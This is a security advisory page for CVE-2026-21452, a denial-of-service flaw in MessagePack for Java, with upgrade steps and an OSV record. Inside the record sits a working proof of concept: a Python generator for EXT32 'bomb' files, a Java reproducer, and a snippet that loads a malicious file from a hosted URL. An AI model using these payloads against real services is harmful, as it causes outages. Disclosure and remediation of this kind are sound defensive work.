Vulnerabilities in pkg:maven/org.msgpack/msgpack-core
PACKAGECVE-2026-21452 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-789: Memory Allocation with Excessive Size Value) affecting Msgpack core libraries in the Maven ecosystem. The issue involves messagepack for java vulnerable to remote dos via malicious ext payload allocation. Remediation is available by upgrading affected packages to version 0.9.11.
pkg:maven/org.msgpack/msgpack-core
Vulnerability advisories affecting package pkg:maven/org.msgpack/msgpack-core. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-cw39-r4h6-8j3x | CVE-2026-21452 | HIGH | MessagePack for Java Vulnerable to Remote DoS via Malicious EXT Payload Allocation |
CVE-2026-21452 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2026-21452
To remediate this vulnerability, upgrade all affected Msgpack core dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
<dependency>
<groupId>org.msgpack</groupId>
<artifactId>msgpack-core</artifactId>
<version>0.9.11</version>
</dependency>
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
mvn dependency:tree -Dincludes=org.msgpack
How to Check if You Are Affected
To determine whether your Java application is affected by CVE-2026-21452, inspect your build dependencies using the Maven Dependency Plugin:
mvn dependency:tree -Dincludes=org.msgpack
Analyze the terminal output to locate any version of Msgpack core in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.9.11), your application is affected.
Note: The mvn dependency:tree -Dincludes=org.msgpack command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-789: Memory Allocation with Excessive Size Value, where the product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated. In Msgpack core, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-21452 Affected Msgpack core Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
org.msgpack:msgpack-core
|
Maven |
< 0.9.11
|
0.9.11
|
References
Frequently Asked Questions
What is CVE-2026-21452?
Which Msgpack core versions are affected?
What version fixes CVE-2026-21452?
Is msgpack-core affected?
What is the CVSS score of CVE-2026-21452?
What CWE is associated with CVE-2026-21452?
How can I check Maven dependencies for CVE-2026-21452?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-cw39-r4h6-8j3x",
"modified" : "2026-01-05T14:59:12Z",
"published" : "2026-01-05T14:59:12Z",
"aliases" : [ "CVE-2026-21452" ],
"summary" : "MessagePack for Java Vulnerable to Remote DoS via Malicious EXT Payload Allocation",
"details" : "### Summary\nAffected Components:\n```\norg.msgpack.core.MessageUnpacker.readPayload()\norg.msgpack.core.MessageUnpacker.unpackValue()\norg.msgpack.value.ExtensionValue.getData()\n```\nA denial-of-service vulnerability exists in MessagePack for Java when deserializing .msgpack files containing EXT32 objects with attacker-controlled payload lengths. While MessagePack-Java parses extension headers lazily, it later trusts the declared EXT payload length when materializing the extension data. When ExtensionValue.getData() is invoked, the library attempts to allocate a byte array of the declared length without enforcing any upper bound. A malicious .msgpack file of only a few bytes can therefore trigger unbounded heap allocation, resulting in JVM heap exhaustion, process termination, or service unavailability. This vulnerability is triggered during model loading / deserialization, making it a model format vulnerability suitable for remote exploitation.\n\n### PoC\n```\nimport msgpack\nimport struct\nimport os\n\nOUTPUT_DIR = \"bombs\"\nos.makedirs(OUTPUT_DIR, exist_ok=True)\n\n# EXT format: fixext / ext8 / ext16 / ext32\n# ext32 allows attacker-controlled length (uint32)\n\nlength = 1\nstep = 10_000_000\n\nwhile True:\n try:\n # EXT32: 0xC9 | length (4 bytes) | type (1 byte)\n header = b'\\xC9' + struct.pack(\">I\", length) + b'\\x01'\n payload = b'A' # actual data tiny\n\n data = header + payload\n\n fname = f\"{OUTPUT_DIR}/ext_length_{length}.msgpack\"\n with open(fname, \"wb\") as f:\n f.write(data)\n\n print(f\"[+] Generated EXT bomb with declared length={length}\")\n length += step\n\n except Exception as e:\n print(\"[!] Stopped:\", e)\n break\n```\nDownload dependency: curl -LO https://repo1.maven.org/maven2/org/msgpack/msgpack-core/0.9.8/msgpack-core-0.9.8.jar Java Reproducer\n```\n// Main.java\nimport org.msgpack.core.MessagePack;\nimport org.msgpack.core.MessageUnpacker;\nimport org.msgpack.value.ExtensionValue;\n\nimport java.nio.file.Files;\nimport java.nio.file.Paths;\n\npublic class Main {\n public static void main(String[] args) throws Exception {\n\n byte[] data = Files.readAllBytes(\n Paths.get(\"ext_length_470000001.msgpack\")\n );\n\n MessageUnpacker unpacker =\n MessagePack.newDefaultUnpacker(data);\n\n ExtensionValue ext =\n unpacker.unpackValue().asExtensionValue();\n\n // Vulnerability trigger:\n byte[] payload = ext.getData();\n\n System.out.println(payload.length);\n }\n}\n\n```\nCompile\n```\njavac -cp msgpack-core-0.9.8.jar Main.java\n```\nRun (with limited heap)\n```\njava -Xmx256m -cp .:msgpack-core-0.9.8.jar Main\n```\nObserved Result:\n```\nException in thread \"main\" java.lang.OutOfMemoryError: Java heap space\n at org.msgpack.core.MessageUnpacker.readPayload(...)\n at org.msgpack.core.MessageUnpacker.unpackValue(...)\n```\n```\nvar u = new java.net.URL(\"https://huggingface.co/Blackbloodhacker/msgpack/resolve/main/ext_length_470000001.msgpack\");\nvar d = u.openStream().readAllBytes();\nvar up = org.msgpack.core.MessagePack.newDefaultUnpacker(d);\nup.unpackValue().asExtensionValue().getData();\n```\nRun:\n```\njava -Xmx256m -cp .:msgpack-core-0.9.8.jar Main\n```\nA remotely hosted model file on Hugging Face can cause denial of service when loaded by a Java-based consumer.\n\n## Resolution \nThis issue is addressed in https://github.com/msgpack/msgpack-java/commit/daa2ea6b2f11f500e22c70a22f689f7a9debdeae by gradually allocating memory for large inputs, for both EXT32/BIN32 data types. This patch is released in msgpack-java 0.9.11 https://github.com/msgpack/msgpack-java/releases/tag/v0.9.11\n\n### Impact\nThis vulnerability enables a remote denial-of-service attack against applications that deserialize untrusted .msgpack model files using MessagePack for Java. A specially crafted but syntactically valid .msgpack file containing an EXT32 object with an attacker-controlled, excessively large payload length can trigger unbounded memory allocation during deserialization. When the model file is loaded, the library trusts the declared length metadata and attempts to allocate a byte array of that size, leading to rapid heap exhaustion, excessive garbage collection, or immediate JVM termination with an OutOfMemoryError. The attack requires no malformed bytes, user interaction, or elevated privileges and can be exploited remotely in real-world environments such as model registries, inference services, CI/CD pipelines, and cloud-based model hosting platforms that accept or fetch .msgpack artifacts. Because the malicious file is extremely small yet valid, it can bypass basic validation and scanning mechanisms, resulting in complete service unavailability and potential cascading failures in production systems.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Maven",
"name" : "org.msgpack:msgpack-core"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.9.11"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/msgpack/msgpack-java/security/advisories/GHSA-cw39-r4h6-8j3x"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-21452"
}, {
"type" : "WEB",
"url" : "https://github.com/msgpack/msgpack-java/commit/daa2ea6b2f11f500e22c70a22f689f7a9debdeae"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/msgpack/msgpack-java"
}, {
"type" : "WEB",
"url" : "https://github.com/msgpack/msgpack-java/releases/tag/v0.9.11"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-400", "CWE-789" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-01-05T14:59:12Z",
"nvd_published_at" : "2026-01-02T21:16:03Z"
}
}